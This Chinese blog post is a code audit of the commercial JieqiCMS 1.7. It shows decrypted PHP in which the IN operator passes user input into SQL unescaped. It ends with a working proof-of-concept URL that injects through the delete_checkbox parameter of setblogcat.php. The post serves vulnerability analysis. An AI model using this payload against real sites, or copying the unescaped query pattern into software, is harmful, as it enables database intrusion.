代码审计：杰奇CMS 1.7商业版SQL注入漏洞分析 |

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杰奇CMS 1.7商业版用了Zend加密，批量解密后，发现程序员用了几个函数，使得这套系统基本没了注入漏洞。在判断ip时，程序员将.过滤再判断是否是为数字，值得借鉴。

  

class criteria extends criteriaelement 
  
{ 
  
    var $column;  //字段 
  
    var $operator;  //分隔符 
  
    var $value; //值 
  
    function criteria( $_obfuscate_eZJe9OBy, $_obfuscate_VgKtFeg = "", $_obfuscate_JChWBNMCFOA = "=" ) 
  
    { 
  
        $this->column = $_obfuscate_eZJe9OBy; 
  
        $this->value = $_obfuscate_VgKtFeg; 
  
        $this->operator = $_obfuscate_JChWBNMCFOA; 
  
    } 
  
    function render( ) 
  
    { 
  
        if ( !empty( $this->column ) ) 
  
        { 
  
            $_obfuscate_yHkENun4 = $this->column." ".$this->operator; 
  
.................................. 
  
        if ( isset( $this->value ) ) 
  
.................................. 
  
 //当分隔符为in时没有对值有任何处理。EditPlus搜索含有"IN"的语句发现了注入。 
  
            if ( strtoupper( $this->operator ) == "IN" )   
  
            { 
  
                $_obfuscate_yHkENun4 .= " ".$this->value; 
  
                return $_obfuscate_yHkENun4; 
  
            } 
  
//引入单引号 
  
            $_obfuscate_yHkENun4 .= " '".jieqi_dbslashes( trim( $this->value ) )."'"; 
  
        } 
  
        return $_obfuscate_yHkENun4; 
  
------------------------------------------------------------------------------------------ 
  
switch ( $_REQUEST[action] ) 
  
{ 
  
case "do_edit" : 
  
    include_once( $jieqiModules['space']['path']."/class/blogcat.php" ); 
  
    $blog_cat_handler = jieqispaceblogcathandler::getinstance( "JieqiSpaceBlogCatHandler" ); 
  
    if ( $_REQUEST['delete_checkbox'] ) 
  
    { 
  
        $tmpstr = "(".implode( ",", $_REQUEST['delete_checkbox'] ).")";  
  
        $criteria = new criteriacompo( new criteria( "`id`", $tmpstr, "in" ) );  //id in () 
  
        $criteria->add( new criteria( "`uid`", $uid ) ); 
  
        $criteria->add( new criteria( "`type`", $_REQUEST['type'], "=" ) ); 
  
        $criteria->add( new criteria( "`default_cat`", 1, "!=" ) ); 
  
        $blog_cat_handler->queryobjects( $criteria ); 
  
        $v = $blog_cat_handler->getobject( ); 
  
        if ( !empty( $v ) ) 
  
        { 
  
            $num = $v->getvar( "num" ); 
  
            $blog_cat_handler->delete( $criteria ); 
  
            unset( $criteria ); 
  
        }

 

exp:
http://xxx.com/modules/space/setblogcat.php?action=do_edit&delete_checkbox[]=3))and
1=1%23

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Tags：

代码审计, 杰奇CMS漏洞,

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代码审计：杰奇CMS 1.7商业版SQL注入漏洞分析 |